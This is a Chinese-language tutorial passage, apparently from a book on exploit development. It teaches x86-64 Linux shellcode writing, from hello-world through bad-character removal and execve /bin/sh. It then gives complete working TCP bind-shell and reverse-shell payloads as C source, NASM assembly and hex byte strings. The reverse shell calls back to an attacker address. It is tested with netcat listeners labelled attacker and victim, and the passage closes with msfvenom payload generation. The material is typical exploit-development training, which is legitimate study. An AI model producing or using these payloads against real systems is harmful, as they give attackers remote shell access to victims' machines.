$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

让我们尝试用我们的代码:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s 

上述命令的输出如下截图所示:

这是我们的机器语言:

\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a

接下来,我们可以使用以下代码来测试我们的机器:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

int main()
{
   printf("Shellcode Length: %d\n", (int)strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}

让我们编译并运行它:

$ gcc -fno-stack-protector -z execstack hello-world.c 
$ ./a.out

上述命令的输出如下截图所示:

你可以从上面的输出中看到,我们的 shellcode 没有起作用。原因是其中有坏字符。这让我们进入下一节,讨论如何去除它们。

坏字符

坏字符是指可以破坏 shellcode 执行的字符,因为它们可能被解释为其他东西。

例如,考虑\x00,它表示零值,但它将被解释为空终止符,并用于终止一个字符串。现在,为了证明这一点,让我们再看一下之前的代码:

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

当我们尝试执行它时,我们得到一个错误,Shellcode Length: 14。如果你看第 15 个操作码,你会看到\x00,它被解释为空终止符。

以下是坏字符的列表:

  • 00:这是零值或空终止符(\0

  • 0A:这是换行符(\n

  • FF:这是换页符(\f

  • 0D:这是回车符(\r

现在,如何从我们的 shellcode 中删除这些坏字符呢?实际上,我们可以使用我们在汇编中已经知道的知识来删除它们,比如选择一个寄存器的哪一部分应该取决于移动数据的大小。例如,如果我想将一个小值(比如15)移动到 RAX,我们应该使用以下代码:

mov al, 15

或者,我们可以使用算术运算,例如将15移动到 RAX 寄存器:

xor rax, rax
add rax, 15

让我们逐条查看我们的机器码:

第一条指令是mov rax, 1,它包含0,因为我们试图将1字节(8 位)移动到 64 位寄存器。所以它会用零填充剩下的部分,我们可以使用mov al, 1来修复这个问题,这样我们就将1字节(8 位)移动到了 RAX 寄存器的 8 位部分;让我们确认一下:

global _start

section .text

_start:
    mov al, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

现在,运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上述命令的输出如下截图所示:

我们成功从第一条指令中删除了所有的坏字符。让我们尝试另一种方法,使用算术运算,比如加法或减法。

首先,我们需要使用xor指令清除寄存器,xor rdi, rdi。现在 RDI 寄存器包含零;我们将其值加1add rdi, 1

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

我们也修复了这个。让我们修复所有这些,把移动hello world字符串留到下一节:

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    xor rdx,rdx
    add rdx,12 
    syscall

  xor rax,rax
  add rax,60
  xor rdi,rdi
  syscall

section .data
    hello_world: db 'hello world',0xa

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

我们设法从我们的 shellcode 中删除了所有的坏字符,这让我们需要处理在复制字符串时的地址。

相对地址技术

相对地址是相对于 RIP 寄存器的当前位置,相对值是一种非常好的技术,可以避免在汇编中使用硬编码地址。

我们怎么做到的?实际上,通过使用lea <destination>, [rel <source>],这个rel指令将计算相对于 RIP 寄存器的源地址,这样做变得非常简单。

我们需要在代码本身之前定义我们的变量,这样就必须在 RIP 当前位置之前定义它;否则,它将是一个短值,寄存器的其余部分将填充为零,就像这样:

现在,让我们使用这种技术修改我们的 shellcode 来修复hello world字符串的位置:

global _start

section .text

_start:
    jmp code
    hello_world: db 'hello world',0xa

code:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    lea rsi, [rel hello_world]
    xor rdx,rdx
    add rdx,12 
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

一点坏字符都没有!让我们尝试它作为一个 shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上一个命令的输出显示在以下截图中:

现在让我们尝试使用我们的 C 代码编译并运行这个 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xeb\x0c\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x8d\x35\xe4\xff\xff\xff\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";

int main()
{

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();

}

现在运行以下命令:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

上一个命令的输出显示在以下截图中:

成功了!现在,这是我们的第一个 shellcode。

让我们继续看看如何处理地址的更多技巧。

jmp-call 技术

现在,我们将讨论如何处理字符串地址的新技术,即jmp-call技术。

这种技术简单地首先使jmp指令到我们想要移动到特定寄存器的字符串。之后,我们使用call指令调用实际的代码,将字符串的地址推入堆栈,然后我们将地址弹出到那个寄存器中。看看下一个例子,完全理解这种技术:

global _start

section .text

_start:
    jmp string

code:
    pop rsi
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    xor rdx,rdx
    add rdx,12 
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

string:
    call code
    hello_world: db 'hello world',0xa

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

没有坏字符;现在让我们回顾一下我们做了什么。首先,我们执行了一个jmp指令到字符串,然后我们使用call指令调用了实际的代码,这将导致下一条指令被推入堆栈;让我们在 GDB 中看看这段代码:

$ gdb ./hello-world
$ set disassembly-flavor intel
$ break _start
$ run
$ stepi

上一个命令的输出显示在以下截图中:

下一条指令是使用call code指令调用代码。注意堆栈中将会发生什么:

hello world字符串的地址被推入堆栈,下一条指令是pop rsi,它将hello world字符串的地址从堆栈移动到 RSI 寄存器。

让我们尝试将其作为一个 shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s 

上一个命令的输出显示在以下截图中:

在 C 代码中实现相同的操作:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\xeb\x1f\x5e\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

让我们编译并运行它:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

上一个命令的输出显示在以下截图中:

堆栈技术

在这里,我们将学习另一种使用堆栈处理地址的技术。这很简单,但我们有两个障碍。首先,我们只允许一次将 4 个字节推入堆栈的操作——我们将使用寄存器来帮助我们。其次,我们必须以相反的顺序将字符串推入堆栈——我们将使用 Python 来为我们做这件事。

让我们尝试解决第二个障碍。使用 Python,我将定义string = 'hello world\n',然后我将反转我的字符串,并使用string[::-1].encode('hex')一行将其编码为hex。接下来,我们将得到我们的反向编码字符串:

完成!现在,让我们尝试解决第一个障碍:

global _start

section .text
_start:

    xor rax, rax
    add rax, 1
    mov rdi, rax
    push 0x0a646c72
    mov rbx, 0x6f57206f6c6c6548
    push rbx
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 12
    syscall

    xor rax, rax
    add rax, 60 
    xor rdi, rdi 
    syscall

首先,我们将 8 个字节推入堆栈。我们可以将其余的内容分成 4 字节推入堆栈的每个操作,但我们也可以使用寄存器一次移动 8 个字节,然后将该寄存器的内容推入堆栈:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上一个命令的输出显示在以下截图中:

让我们尝试将其用作 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

现在运行以下命令:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

上一个命令的输出显示在以下截图中:

这也很容易。

在下一节中,我们将讨论如何使用execve系统调用制作有用的 shellcode。

execve 系统调用

现在,我们将学习如何使用execve制作有用的 shellcode。在继续之前,我们必须了解execve系统调用是什么。它是一个用于执行程序或脚本的系统调用。让我们以使用 C 语言读取/etc/issue文件的execve的示例来说明。

首先,让我们看一下execve的要求:

$ man 2 execve

上一个命令的输出显示在以下截图中:

正如它所说,第一个参数是我们要执行的程序。

第二个参数argv是指向与我们要执行的程序相关的参数数组的指针。此外,argv应该包含程序的名称。

第三个参数是envp,其中包含我们想要传递给环境的任何参数,但我们可以将此参数设置为NULL

现在,让我们构建 C 代码来执行cat /etc/issue命令:

#include <unistd.h>

int main()
{
    char * const argv[] = {"cat","/etc/issue", NULL};
    execve("/bin/cat", argv, NULL);
    return 0;
}

让我们编译并运行它:

$ gcc execve.c
$ ./a.out

上一个命令的输出显示在以下截图中:

它给了我们/etc/issue文件的内容,即Kali GNU/Linux Rolling \n \l

现在,让我们尝试使用execve系统调用在汇编中执行/bin/sh。在这里,我将使用堆栈技术;让我们一步一步地完成这段代码:

 char * const argv[] = {"/bin/sh", NULL};
 execve("/bin/sh", argv, NULL);
 return 0;

首先,我们需要在堆栈中使用NULL作为分隔符。然后,我们将堆栈指针移动到 RDX 寄存器,以获取我们的第三个参数:

xor rax, rax
push rax
mov rdx, rsp

然后,我们需要将我们的路径/bin/sh推入堆栈中,由于我们只有七个字节,而且我们不希望我们的代码中有任何零,让我们推入//bin/sh/bin//sh。让我们反转这个字符串,并使用 Python 将其编码为hex

string ='//bin/sh'
string[::-1].encode('hex')

上一个命令的输出显示在以下截图中:

现在我们的字符串准备好了,让我们使用任何寄存器将其推入堆栈,因为它包含 8 个字节:

mov rbx, 0x68732f6e69622f2f
push rbx

让我们将 RSP 移动到 RDI 寄存器,以获取我们的第一个参数:

mov rdi, rsp

现在,我们需要推入另一个NULL作为字符串分隔符,然后我们需要通过推入 RDI 内容(即我们字符串的地址)将一个指针推入堆栈。然后,我们将堆栈指针移动到 RDI 寄存器,以获取第二个参数:

push rax
push rdi 
mov rsi,rsp 

现在,所有我们的参数都准备好了;让我们获取execve系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve

上一个命令的输出显示在以下截图中:

execve系统调用号是59

add rax, 59
syscall

让我们把我们的代码放在一起:

global _start

section .text

_start:
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

现在运行以下命令:

$ nasm -felf64 execve.nasm -o execve.o
$ ld execve.o -o execve $ ./execve

上一个命令的输出显示在以下截图中:

让我们将其转换为 shellcode:

$ objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上一个命令的输出显示在以下截图中:

我们将使用 C 代码来注入我们的 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

现在运行以下命令:

$ gcc -fno-stack-protector -z execstack execve.c
$ ./a.out

上一个命令的输出显示在以下截图中:

TCP 绑定 shell

现在,让我们进一步做一些真正有用的事情,即构建一个 TCP 绑定 shell。

TCP 绑定 shell 用于在一台机器(受害者)上设置服务器,并且该服务器正在等待来自另一台机器(攻击者)的连接,这允许另一台机器(攻击者)在服务器上执行命令。

首先,让我们看一下 C 语言中的绑定 shell,以了解它是如何工作的:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
  int clientfd, sockfd;
  int port = 1234;
  struct sockaddr_in mysockaddr;

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  mysockaddr.sin_family = AF_INET; //--> can be represented in
  numeric  as 2
  mysockaddr.sin_port = htons(port);
  mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented
  in  numeric as 0 which means to bind to all interfaces

  bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

  listen(sockfd, 1);

  clientfd = accept(sockfd, NULL, NULL);

  dup2(clientfd, 0);
  dup2(clientfd, 1);
  dup2(clientfd, 2);
  char * const argv[] = {"sh",NULL, NULL};
  execve("/bin/sh", argv, NULL);
  return 0;
}

让我们把它分解成几部分来理解它是如何工作的:

sockfd = socket(AF_INET, SOCK_STREAM, 0);

首先,我们创建了一个套接字,它需要三个参数。第一个参数是定义协议族,即AF_INET,代表 IPv4,可以用2来表示。第二个参数是指定连接的类型,在这里,SOCK_STREAM代表 TCP,可以用1来表示。第三个参数是协议,设置为0,告诉操作系统选择最合适的协议来使用。现在让我们找到socket系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket

上述命令的输出显示在以下截图中:

从获得的输出中,socket系统调用号是41

让我们在汇编中创建第一部分:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

输出值,即sockfd,将被存储在 RAX 寄存器中;让我们将其移到 RDI 寄存器中:

mov rdi, rax

现在到下一部分,即填充mysockaddr结构以作为bind函数的输入:

 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = INADDR_ANY;

我们需要以指针的形式;而且,我们必须以相反的顺序推送到堆栈。

首先,我们推送0来表示绑定到所有接口(4 字节)。

其次,我们以htons形式推送端口(2 字节)。要将我们的端口转换为htons,我们可以使用 Python:

这是我们的端口(1234)以htons形式(0xd204)。

第三,我们推送值2,表示AF_INET(2 字节):

xor rax, rax 
push rax
push word 0xd204
push word 0x02

有了我们的结构设置,让我们准备bind函数:

bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

bind函数需要三个参数。第一个是sockfd,已经存储在 RDI 寄存器中;第二个是我们的结构以引用的形式;第三个是我们结构的长度,即16。现在剩下的是获取bind系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep bind

上述命令的输出显示在以下截图中:

从上述截图中,我们可以看到bind系统调用号是49;让我们创建bind系统调用:

mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall

现在,让我们设置listen函数,它需要两个参数:

listen(sockfd, 1);

第一个参数是sockfd,我们已经将其存储在 RDI 寄存器中。第二个参数是一个数字,表示服务器可以接受的最大连接数,在这里,它只允许一个。

现在,让我们获取listen系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep listen

上述命令的输出显示在以下截图中:

现在,让我们构建bind系统调用:

xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi 
syscall

我们将继续下一个函数,即accept

 clientfd = accept(sockfd, NULL, NULL);

accept函数需要三个参数。第一个是sockfd,同样,它已经存储在 RDI 寄存器中;我们可以将第二个和第三个参数设置为零。让我们获取accept系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept

上述命令的输出显示在以下截图中:

xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall

accept函数的输出,即clientfd,将被存储在 RAX 寄存器中,所以让我们把它移到一个更安全的地方:

mov rbx, rax

执行dup2系统调用:

 dup2(clientfd, 0);
 dup2(clientfd, 1);
 dup2(clientfd, 2);

现在,我们将执行它三次,将我们的文件描述符复制到stdinstdoutstderr,分别为(011)。

dup2系统调用需要两个参数。第一个参数是旧文件描述符,在我们的情况下是clientfd。第二个参数是我们的新文件描述符(012)。现在,让我们获取dup2系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2

上述命令的输出显示在以下截图中:

现在,让我们构建dup2系统调用:

mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

然后,我们添加我们的execve系统调用:

char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

现在,一切都准备就绪;让我们把所有的部分放在一起写成一段代码:

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
    syscall

; Save the sockfd in RDI Register 
    mov rdi, rax

;Creating the structure 
    xor rax, rax 
    push rax
    push word 0xd204
    push word 0x02
;Bind syscall
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 16
    xor rax, rax
    add rax, 49
    syscall

;Listen syscall
    xor rax, rax
    add rax, 50
    xor rsi , rsi
    inc rsi
    syscall

;Accept syscall
    xor rax , rax
    add rax, 43
    xor rsi, rsi
    xor rdx, rdx
    syscall

;Store clientfd in RBX register 
    mov rbx, rax

;Dup2 syscall to stdin
    mov rdi, rbx
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

让我们汇编和链接它:

$ nasm -felf64 bind-shell.nasm -o bind-shell.o
$ ld bind-shell.o -o bind-shell

让我们将其转换为 shellcode:

$ objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上述命令的输出显示在以下截图中:

让我们将其注入到我们的 C 代码中:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

让我们编译并运行它:

$ gcc -fno-stack-protector -z execstack bind-shell.c
$ ./a.out

前面命令的输出显示在以下截图中:

现在我们的 shellcode 已经在工作并等待;让我们确认一下:

$ netstat -ntlp

前面命令的输出显示在以下截图中:

它现在在端口 1234 上监听;现在,从另一个终端窗口,启动 nc

$ nc localhost 1234

前面命令的输出显示在以下截图中:

现在,它已连接并等待我们的命令;让我们试试:

$ cat /etc/issue

前面命令的输出显示在以下截图中:

现在我们有了我们的第一个真正的 shellcode!

反向 TCP shell

在本节中,我们将创建另一个有用的 shellcode,即反向 TCP shell。反向 TCP shell 是绑定 TCP 的相反,因为受害者的机器再次建立与攻击者的连接。

首先,在 C 代码中让我们看一下它:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h> 

int main(void)
{
    int sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    mysockaddr.sin_family = AF_INET;
    mysockaddr.sin_port = htons(port);
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");

    connect(sockfd, (struct sockaddr *) &mysockaddr,
    sizeof(mysockaddr));

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

首先,我们将在我们的受害者机器之一(Ubuntu)上编译并执行它。我们将在攻击机器(Kali)上设置一个监听器,然后 shell 将从 Ubuntu 连接回 Kali,通过在代码中添加 Kali 的 IP。

在 Kali 上使用 nc 命令或 netcat 工具设置一个监听器:

$ nc -lp 1234

在 Ubuntu 上,让我们编译并运行我们的 reverse-tcp shellcode:

$ gcc reverse-tcp.c -o reverse-tcp
$ ./reverse-tcp

再次回到我的 Kali —— 我连接上了!

这就是简单的!

现在,让我们在汇编中构建一个反向 TCP shell,然后将其转换为一个 shellcode。

socket 函数与我们在绑定 TCP 中解释的一样。将 socket 的输出移动到 RDI 寄存器中:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

mov rdi, rax

接下来是填充 mysockaddr 结构,除了我们必须以 32 位打包格式推出攻击者的 IP 地址。我们将使用 Python 来做到这一点:

所以我们的 IP 地址以 32 位打包格式是 01eea8c0

让我们构建我们的结构并将栈指针移动到 RSI:

xor rax, rax 
push dword 0x01eea8c0
push word 0xd204
push word 0x02

mov rsi, rsp

现在,让我们构建 connect 函数:

 connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

然后,运行以下命令:

$ man 2 connect

前面命令的输出显示在以下截图中:

connect 函数也接受三个参数。第一个参数是 sockfd(来自 socket 函数的输出),存储在 RDI 寄存器中。第二个是我们结构的引用,存储在 RSI 寄存器中。第三个参数是我们结构的大小。

让我们获取 connect 系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect

前面命令的输出显示在以下截图中:

从获得的输出中,我们可以看到系统调用号是 42。现在,让我们构建 connect 系统调用:

xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall

现在,dup2 函数与之前的相同,只是第一个参数将是 sockfd,它已经存储在 RDI 寄存器中;让我们也构建它:

xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

现在是最后一部分,即 /bin/shexecve 系统调用:

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

现在,让我们把它们打包在一起:

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
    syscall

; Save the sockfd in RDI Register
    mov rdi, rax

;Creating the structure
    xor rax, rax 
    push dword 0x01eea8c0
    push word 0xd204
    push word 0x02

;Move stack pointer to RSI
    mov rsi, rsp

;Connect syscall
    xor rdx, rdx
    add rdx, 16
    xor rax, rax
    add rax, 42
    syscall

;Dup2 syscall to stdin
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

让我们将其汇编和链接到我们的受害者机器上:

$ nasm -felf64 reverse-tcp.nasm -o reverse-tcp.o
$ ld reverse-tcp.o -o reverse-tcp

然后,在我们的攻击者机器上运行以下命令:

$ nc -lp 1234

然后,再回到我们的受害者机器并运行我们的代码:

$ ./reverse-tcp

然后,在我们的攻击者机器上,我们连接到了受害者机器(Ubuntu):

现在,让我们将其转换为一个 shellcode:

$ objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

前面命令的输出显示在以下截图中:

让我们将这个机器语言复制到我们的 C 代码中:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x68\xc0\xa8\xee\x01\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

让我们在我们的受害者机器上编译它:

$ gcc -fno-stack-protector -z execstack reverse-tcp-shellcode.c -o reverse-tcp-shellcode

然后,在我们的攻击者机器上设置一个监听器:

$ nc -lp 1234

现在,在我们的受害者机器上设置一个监听器:

$ ./reverse-tcp-shellcode

前面命令的输出显示在以下截图中:

现在,我们连接到了攻击者的机器:

我们成功了!

使用 Metasploit 生成 shellcode

在这里,事情比你想象的简单。我们将使用 Metasploit 为多个平台和多个架构生成 shellcode,并在一个命令中删除坏字符。

我们将使用 msfvenom 命令。让我们使用 msfvenom -h 显示所有选项:

让我们使用msfvenom -l列出所有的有效载荷-这是一个非常庞大的有效载荷列表:

这只是列表中的一个小部分。

